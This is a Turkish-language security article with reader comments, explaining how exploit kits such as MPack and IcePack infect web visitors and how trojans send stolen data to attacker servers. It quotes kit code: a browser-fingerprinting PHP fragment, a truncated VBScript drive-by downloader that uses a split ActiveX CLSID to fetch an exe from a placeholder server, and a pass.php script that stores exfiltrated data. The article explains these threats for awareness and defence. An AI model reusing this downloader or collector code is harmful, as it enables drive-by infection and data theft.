AraKullanıcı girişiGezintiEn son ağ günlüğü gönderileri
Son yorumlar
En Çok OkunanlarKimler yeni
İçerik paylaşımı |
INTERNET'İN SAKLI YÜZÜINTERNET'İN SAKLI YÜZÜ Amaç; dosya türüne(.exe, .com, .bat) göre sistemde yer edinmekti. Tehlike, öncelikle dosyalara saklanırdı. Virüslerin görevi; kendini saklayabileyeceğin dosyayı bul, zamanı gelince kendisinden istenen görevi yerine getirmek idi. İlk zamanlar Virüs olayları bundan ibaretti. Gün geçtikçe yazılım zaaflarından faydalanarak ortalıkta dolaşmaya başlayan solucanlar ortaya çıktı. İnternet kavramının toplum içinde kullanımı artmasıyla yeni tür zararlı uygulamalar kullanıcıları hedef almaya başladı. Buna paralel olarak sistemlerini korumak maksadıyla çeşitli güvenlik uygulamaların kullanım yüzdesi arttı. Bilgisayar kullanıcıların lügatlarına Antivirüs, Firewall gibi kelimeler yer edinmeye başladı. Bilgisayarı ister evde kullanın ister iş yerinde, eğer İnternet ile iç içe iseniz sisteminize günün birinde zararlı bir program(cık)ın misafir olması sizi şaşırtmasın. Özel hayat bilgisayarla iç içe oldukça, birileride bilgisayarla birlikte olan bu özel hayata gözünü kestirmişti. Masumca duran küçük bilgilerden elde edilecek özel kayıtlara kadar tüm bilgiler bir çift gözün önünde olabilir. Günümüzde; bilgisayar kullanıcılarına yönelik yapılan saldırıların çoğu yazılım zaaflarının kullanılmasıyla meydana gelmekte.
Hedef; internet kullanıcıları olmasına rağmen aynı anda birden fazla kullanıcının sistemine erişim sağlanmak için araya web sunucularıda girmektedir. Saldırgan kullanıcıların en cok ziyaret ettiği web sunucularına yerleştirdiği kodlar vasıtasıyla kullanıcıların bilgisayarlarına erişim sağlamaktadır. Bu kodlar genellikle güncel yazılım açıklarıdır. Böylece bir kullanıcı web sitesine bağlandığında eğer o web sitesi tehlikeli bir kod içeriyorsa kullanıcının sistemine zararlı bir kod enjekte eder. Gerçekleşen bu işlemleri kullanıcı fark etmez.
Resim 1’de görüldüğü üzere ana sayfaya(index.html v.b.) yerleştirilen kod, kullanıcının bilgisayarına zararlı dosyayı aktarır. Resim 1 de belirtilen kodun ne işe yaradığı ve ne şekilde aktarıldığını Resim 2 de görüyoruz.
Bu tür kodların Antivirüs uygulamaları tarafından yakalanmasını zorlaştırmak için bazı algoritmalar geliştirilir. Böylece, Antivirüs algılamazsa kullanıcı zaten hiçbir şekilde algılamaz mantığı güdülür. Bu mantığın işe yaramadığı bazen görülür(Resim 3).
Yazılımlarda bulunan güvenlik açıklarından faydalanmak için gün geçtikçe yeni taktikler geliştirilmektedir. Özellikle son zamanlarda geliştirilen bu taktiklerin başında, birden fazla güvenlik açıklarını tek bir çatı altında toplamak. Oluşturulan bu kitlerin başında MPACK, WEBMONEY, [XDS] TDS, ZUNKER, ICEPACK gelir. Bu kitler birden fazla uygulamalara ait güvenlik açıklarını bünyesinde barındırarak web sunucularına kurulur. Saldırgan bu kitlerle web sunucuda gerekli ayarları yaparak , bu sunucudaki web sayfalara bağlanan kullanıcıların sistemine zararlı uygulamaları otomatik olarak yükler. İzinsiz giriş yapılan bir çok web sunucusunda bu kitlerin kurulduğu görülür. Bu kitler(exploit kit de denir) genellikle belirli bir ücret karşılığında satışa sunulur(fiyatları 1000$, 700$, 500$ ve hatta 20$ arasında değişir). Fiyatlarını barındırdığı exploit türlerine ve sayısına göre belirler.
Bu kitlerde genellikle browser türlerine göre zaaf kontrolü bulunur. Kullanıcıların kullandıkları Web browser ( Internet Explorer,Opera,Firefox) türüne göre atak çeşitleri belirlenir ve o zaafa göre dosya kullanıcının sistemine sızar. İçerdikleri exploit türlerinden bazıları: - ANI Overflow
Bilgisayar kullanıcısı sayfalar arasında gezerken ekrana istediği bilgiler yansır fakat farkında olmadan başka bir sayfaya yönlendirildiğinde(Resim 4) sisteminde zaaf taraması başlar.
Saldırgan exploit kitler sayesinde ülke bazında hangi sistemlere ne tür bir zaaf barındırdığına dair istatistiksel bilgilere de sahip olabilir(Resim 5). Bu istatistiksel bilgiler arasında hangi web adreslerinde yönlendirme koduna sahip olduğuda görüntülenebilir[<iframe=…] (Resim 6)
Mpack exploit kitinin birden çok versiyonu vardır. Versiyonları exploit türlerine göre değişir. En son version olarak Mpack 0.94 ve hatta Mpack 0.95 versiyonun olduğu söylenmektedir. Fakat bu versiyonlarının bir backdoora(arkakapı) sahip olduğu belirtilmektedir. Mpack exploit kitinde mevcut kodlar Resim 7 de gösterilmektedir.
Mpack, istatistiksel bilgilere ulaşım için bir admin paneli bulunmaktadır. Kişisel ayarlar vasıtasıyla sifreli erişim olanağı sağlamakta.
Mpack, gerekli verileri(tüm IP girdileri) mysql veritabanına aktarır. Web arayüzü ile bu kayıtlar incelenebilir. Örnek mysql incelemelerini Resim 10 ve 11 de bulabilirsiniz.
Mpack exploit kiti internette dolaşırken bir başka exploit kit olan IcePack de kendini göstermeye başladı(Resim 12).
IcePackin admin panelinin özelliği Mpack’e göre daha kapsamlı(Resim 13).
Saldırgan, Icepack admin paneli vasıtasıyla istediği şekilde yönlendirme kodu oluşturabilir. Böylece kullanıcının ziyaret ettiği sayfalara bu kod parçasını ekleyerek kendi istatiski bilgilerine bir kullanıcıyı daha eklemeyi başarır(Resim 13). Bu tür exploit kitlere zamanla yenileride eklenmekte. Yeni özellikler, yeni güvenlik açıkları ve Antivirüsler tarafından algılanmamasını sağlanan yeni zararlı dosyalar eklenmektedir. Bu kitlerin tamamını kullanıcı bilgilerini mysql veritabanına kaydettiğini belirtmiştim. Buradan şu anlaşılıyor ki; bu kitlerin kurulduğu sistemler birer konakçı olarak kullanılmaktadır.
Resim 14 : Bir başka exploit kit veritabanı kaydı. “Xoce” kaydına dikkat
Resim 16 : “tp_users” tablosunun içerik yönergesi. Bilgi takibini yapabilen yetkili kullanıcılarının bilgilerinin saklanacağı tablodur. Exploit kit içinde yer alan örnek bir parça(index.phpi) $r = mysql_query($sql); $num = mysql_num_rows($r); if ( $num > 0 ) { $sql = 'UPDATE tp_hits set total = total +1'; mysql_query($sql); echo "<center>Sorry! You IP is blocked.</center>"; exit(); }
$user_agent = getenv("HTTP_USER_AGENT"); $uri = getenv("REQUEST_URI"); $accept_lang = getenv("HTTP_ACCEPT_LANGUAGE"); $ref = substr(mysql_real_escape_string(getenv("HTTP_REFERER")),0,40);
if (strstr($user_agent, "Nav")) $browser = "Netscape"; elseif (strstr($user_agent, "Lynx")) $browser = "Lynx"; elseif (strstr($user_agent, "Opera")) $browser = "Opera"; elseif (strstr($user_agent, "WebTV")) $browser = "WebTV"; elseif (strstr($user_agent, "Konqueror")) $browser = "Konqueror"; elseif (strstr($user_agent, "Bot")) $browser = "Bot"; elseif (strstr($user_agent, "Firefox")) $browser = "Firefox"; elseif (strstr($user_agent, "MSIE")) $browser = "MSIE"; else $browser = "other";
if (strstr($user_agent, "Windows 95")) $os = "Windows 95"; elseif (strstr($user_agent, "Windows NT 4")) $os = "Windows NT 4"; elseif (strstr($user_agent, "Win 9x 4.9")) $os = "Windows ME"; elseif (strstr($user_agent, "Windows 98")) $os = "Windows 98"; elseif (strstr($user_agent, "Windows NT 5.0")) $os = "Windows 2000"; elseif (strstr($user_agent, "SV1")) $os = "Windows XP SP2"; elseif (strstr($user_agent, "Windows NT 5.1")) $os = "Windows XP"; elseif (strstr($user_agent, "Windows NT 5.2")) $os = "Windows 2003"; else $os = "other";
$sql = sql_placeholder('INSERT INTO tp_stats(datetime, ip, user_agent, browser, os, uri, accept_lang, referrer) VALUES(?, ?, ?, ?, ?, ?, ?, ?)', date("Y-m-d H:i:s"), $ip, $user_agent, $browser, $os, $uri, $accept_lang, $ref); mysql_query($sql); ?>
<HTML xmlns:IE> <body>
<SCRIPT language="VBScript">
Module_Path="http://web_sunucu/get.php?file=exe"
If navigator.appName="Microsoft Internet Explorer" Then
If InStr(navigator.platform,"Win32") <> 0 Then
Const ssfFONTS=20 Const adModeReadWrite=3 Const adTypeBinary=1 Const adSaveCreateOverWrite=2
Dim oRDS Dim oXMLHTTP Dim oFSO Dim oStream Dim oWShell Dim oShellApp
Dim WinDir Dim ExeName Dim XMLBody Dim PluginFile Dim cByte Dim ObjName Dim ObjProg
Randomize
ExeName=GenerateName() ExeName=ExeName & ".exe"
cls1="clsid:BD96" cls2="C556-65A" cls3="3-11D0-9" cls4="83A-00C04FC29E36" clsfull=cls1&cls2&cls3&cls4
Set oRDS=document.createElement("object") oRDS.setAttribute "id","oRDS" oRDS.setAttribute "classid",clsfull
Set oShellApp = oRDS.CreateObject("Shell.Application","") Set oFolder = oShellApp.NameSpace(ssfFONTS) ...
Yukarıda verilen kod örneğinde If navigator.appName="Microsoft Internet Explorer" satırı karşılaşacak durumu neredeyse açıklar.
Kullanıcıya gelen bir e-posta dikkat çekiciyse, kullanıcı ister isteme gördüğü e-postayı incelemek isteyecektir. Bazen gelen e-postanın içeriği konusunda şüpheye düşsede kendine hakim olamayıp e-postanın tutsağı olur. Posta içeriğinde yer alan dosyayı aktif hale getirdiğinde o dakikadan sonra bilgisayarındaki tüm girdiler birilerinin eline geçer. Aktif hale getirilen tehlikeli dosya bilgisayarın teknik özelliklerinin yanı sıra gizli bilgileride saldırgana bildirecektir. Bunun için bu özel bilgiler bir özel sunucuda toplanır(Resim 18).
Resim 18 : Kullanıcıya gönderilen dosya, kişisel bilgileri belirlenmiş bir formatta web sunucuda saklanır.
Resim 19 : Kullanıcın bilgisayarına yerleşen zararlı program, kişisel bilgileri tarihe/ip adreslerine göre saldırgana yollar.
Yukarıdaki resimde böyle bir programın analizi sonucu elde edilen bulgulardan yola çıkılarak zararlı programın yolladığı dosyalar görülmektedir.
Saklanan bu bilgiler gözlerden uzak durması için belirli bir kritere göre saklanır. İçerik saklıdır. Bunun için bu işlemin bir devamı olan özel bir programla kullanıcının ele geçirilen bilgiler anlaşılır şekilde göz önüne serilir(Resim 20 / 21 / 22).
Zararlı program(file.exe) web sunucusuyla irtibata geçerek, bilgiler bir betik(pass.php) vasıtasıyla sunucuda saklanmaktadır.
pass.php <? $mode = 2; //1.Send to e-mail, 2.Save to file, 3.E-mail+file $rndatch = FALSE; //Random reports names $savetodir = FALSE; //Save reports to changed directory $dirname = ""; //Directory name .. $ip=getenv("REMOTE_ADDR");
.. IF($mode == 1 || $mode == 3) { IF($rndatch) { $array=range('a', 'z'); .. $headers = "Content-Type: application/octet-stream; name=\"".$var."\"\n"; $headers.= "Content-Transfer-Encoding: base64\n"; $headers.= "Content-Disposition: attachment; filename=\"".$var."\"\n"; mail($email, $subject, $msg, $headers); .. $filename = date('H_i-d.m.Y', time()+3600*6)."_".$ip."_".$var;
$fp=fopen($filename, 'w'); fwrite($fp, base64_decode($msg)); fclose($fp);
Son günlerde ortaya çıkan güvenlik zaaflarından faydalanarak kullanıcıların sistemine sızan bir tehlikeli uygulama beraberinde ciddi sorunlar getirdiği görülmektedir. Belirttiğim gibi web sayfaları üzerinden kullanıcının sitemine sızan bir Truva atının başka bir sistem üzerinden kontrol edildiğini(web) gördük. Görülen sonuç şudur ki kullanıcılar özellikle bağlandığı internet sayfalarına dikkat etmesi gerekir.
Referanslar 1. BotNet(Bot Network) http://www.olympos.org/belgeler/botnet/botnet-bot-network-126231.html 2. Gizli Tehlike http://www.olympos.org/belgeler/gizli-tehlike-126162.html 3. MPack uncovered http://pandalabs.pandasecurity.com/archive/MPack-uncovered_2100_.aspx
4. MPack, Packed Full of Badness
5. Ice(Pack) for the summer http://pandalabs.pandasecurity.com/archive/Ice_2800_Pack_2900_-for-the-summer.aspx
__________________________ (5 votes)
|
Benzer yazılarEtiketlerEn son forum mesajları
Yaklaşan Aktiviteler |
Re: INTERNET'İN SAKLI YÜZÜ
Alkışlanacak bir yazı olmuş. Teşekkürler.
Re: INTERNET'İN SAKLI YÜZÜ
Çok güzel bir makale yazmışsın kardeş eline sağlık.